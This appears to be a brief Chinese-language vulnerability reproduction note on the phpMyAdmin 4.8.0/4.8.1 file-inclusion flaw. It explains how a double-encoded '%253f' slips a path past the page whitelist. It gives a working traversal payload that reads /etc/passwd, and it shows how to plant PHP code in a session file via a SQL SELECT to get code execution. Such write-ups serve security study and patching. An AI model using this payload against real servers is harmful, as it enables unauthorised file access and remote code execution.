phpmyadmin 4.8.1 rce
利用条件
phpMyAdmin 4.8.0 and 4.8.1
登陆账号
漏洞复现
环境:phpstudy 2018,windows 10
漏洞位置:index.php
:57
1 | if (! empty($_REQUEST['target']) |
非常明显的任意文件包含漏洞
前面几个条件都很好满足,我们看下最后一个Core::checkPageValidity($_REQUEST['target'])
跟进去
1 | public static function checkPageValidity(&$page, array $whitelist = []) |
要返回true
的话,需要$page
从开头到第一个?
之间的字符串在白名单中,有以下白名单
1 | array ( |
因为复现环境是在windows下,windows文件名不能包含?
,所以db_datadict.php?
会变为db_datadict.php
是一个已经存在的文件,我们便无法用../
来穿梭目录了,但是我们可以看到 $_page = urldecode($page);
所以我们可以构造db_datadict.php%253f
来绕过
通用的payload:
db_datadict.php%253f../../../../../../../../../../../etc/passwd
可以通过SELECT '<?=phpinfo()?>';
来写shell到我们的session中
总结
db_datadict.php%253f../../../../../../../../../../../etc/passwd
可以通过SELECT '<?=phpinfo()?>';
来写shell到我们的session中